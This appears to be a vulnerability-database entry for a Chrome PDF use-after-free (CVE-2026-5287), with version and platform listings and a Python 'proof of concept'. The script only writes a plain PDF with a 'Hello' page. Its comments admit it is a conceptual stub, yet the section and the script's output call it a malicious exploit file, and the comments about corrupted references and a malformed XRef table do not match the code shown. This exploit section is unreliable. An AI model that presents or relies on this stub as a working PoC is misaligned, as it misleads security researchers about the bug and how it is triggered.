Use after free in PDF in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted PDF file. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.178
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sys
# Proof of Concept for CVE-2026-5287 (Chrome PDF UAF)
# This script generates a malformed PDF intended to trigger the Use-After-Free vulnerability.
# It creates a basic PDF structure with specific anomalies to stress the parser.
def generate_malicious_pdf(filename):
pdf_header = b"%PDF-1.4\n"
# Malformed object stream attempting to trigger the UAF in PDFium
# This is a conceptual stub; actual trigger bytes depend on the specific bug.
malicious_object = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n"
# Corrupted reference to simulate the UAF condition
corrupted_stream = b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n"
# A crafted stream that might cause the free/reuse cycle
payload = b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n"
stream_content = b"BT /F1 12 Tf 100 700 Td (Hello) Tj ET"
# Intentionally malformed XRef table to confuse memory management
xref = b"xref\n0 5\n0000000000 65535 f \n0000000009 00000 n \n0000000074 00000 n \n0000000131 00000 n \n0000000244 00000 n \n"
trailer = b"trailer\n<< /Size 5 /Root 1 0 R >>\nstartxref\n345\n%%EOF"
with open(filename, "wb") as f:
f.write(pdf_header)
f.write(malicious_object)
f.write(corrupted_stream)
f.write(payload)
f.write(b"4 0 obj\n<< /Length " + str(len(stream_content)).encode() + b" >>\nstream\n" + stream_content + b"\nendstream\nendobj\n")
f.write(xref)
f.write(trailer)
if __name__ == "__main__":
generate_malicious_pdf("poc_cve_2026_5287.pdf")
print("[+] Malicious PDF generated: poc_cve_2026_5287.pdf")
print("[+] Open this file in a vulnerable Chrome version to test.")